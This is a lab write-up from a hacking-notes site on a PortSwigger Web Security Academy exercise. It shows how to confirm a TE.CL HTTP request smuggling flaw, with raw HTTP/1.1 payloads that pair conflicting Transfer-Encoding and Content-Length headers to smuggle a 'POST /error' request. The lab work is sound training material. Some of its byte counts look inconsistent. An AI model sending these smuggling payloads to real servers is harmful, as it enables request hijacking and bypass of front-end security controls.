> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/request-smuggling/confirmation-of-a-te-cl-vulnerability-by-differentialcls-responses.md).
# Confirmation of a TE.CL Vulnerability by Differentialcls Responses
Confirmation of a TE.CL Vulnerability by Differentialcls Responses notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remedia
### HTTP Request Smuggling, Confirming a TE.CL Vulnerability via Differential Responses
The **front-end** server accepts chunked encoding, while the **back-end** does not support it. / The goal is to inject a masked query to the internal server, then send a request to **/** to cause a response **404 Not Found**, thus confirming the desynchronization.
Although the application allows the use of HTTP/2, the exploitable technique relies exclusively on **HTTP/1**-specific behaviors, which requires manual protocol change in Burp Repeater.
#### **Principle of TE.CL**
To test the presence of a vulnerability **TE.CL**, the fields linked to the length are manipulated. / By voluntarily defining a **Content-Length greater** than the actual body size, one forces a shift interpreted differently by both servers. / For example, a really 13 byte chunked body can be declared as:
```http
Content-Length: 15
3
abc
0
```
This is enough to cause desynchronization.
#### **Chunk Hexadecimal Encoding**
The following fragment size shall be calculated in hexadecimal:
```http
POST /error HTTP/1.1
Test: A
```
A first attempt is to send only the size of the chunk (4 bytes):
```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4
1d
POST /error HTTP/1.1
Test: A
0
```
However, this version is not treated as two separate requests by servers, which prevents proper operation.
To achieve reliable behavior, the backend must interpret the injected request as a valid HTTP request. / The field **Content-Length** is "inflated" while sending a larger chunk:
```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4
38
POST /error HTTP/1.1
Content-Length: 20
testing=test
0
```
By sending this request **on two occasions**, desynchronization occurs and the attack works as expected.
---
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